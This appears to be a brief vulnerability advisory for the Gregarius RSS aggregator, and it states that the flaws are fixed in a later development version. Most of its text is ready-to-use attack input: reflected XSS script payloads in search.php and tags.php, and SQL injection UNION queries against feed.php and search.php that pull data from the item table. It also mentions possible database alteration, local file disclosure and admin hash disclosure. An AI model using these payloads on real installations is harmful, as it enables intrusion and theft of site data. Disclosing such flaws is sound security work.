http://gregarius.net/
Gregarius is a web-based RSS/RDF/ATOM feed aggregator, designed to run on your web server, allowing you to access your news sources from wherever you want. 

XSS in search.php:
search.php?rss_query=<script>alert(1)</script>&rss_query_match=exact

XSS in tags.php:
tags.php?tag=<script>alert(1)</script>

SQL Injection in feed.php:
feed.php?folder=3 and 1=1 UNION select title from item--

with magic_quotes=off:
SQL Injection in search.php:
search.php?rss_query=aa%')) UNION select null,null,null,null,null,null,null,null,null,null,null,title,null from item-- &rss_query_match=exact


On Gregarius 0.5.2/PostrgreSQL this could lead to damaging/altering the DB and possible local file disclosure due to not properly sanitized $lang include, on early 0.5.3 svn version to admin hash disclosure.
More XSS and SQL Injections in admin section.

Fixed in latest 0.5.3 svn.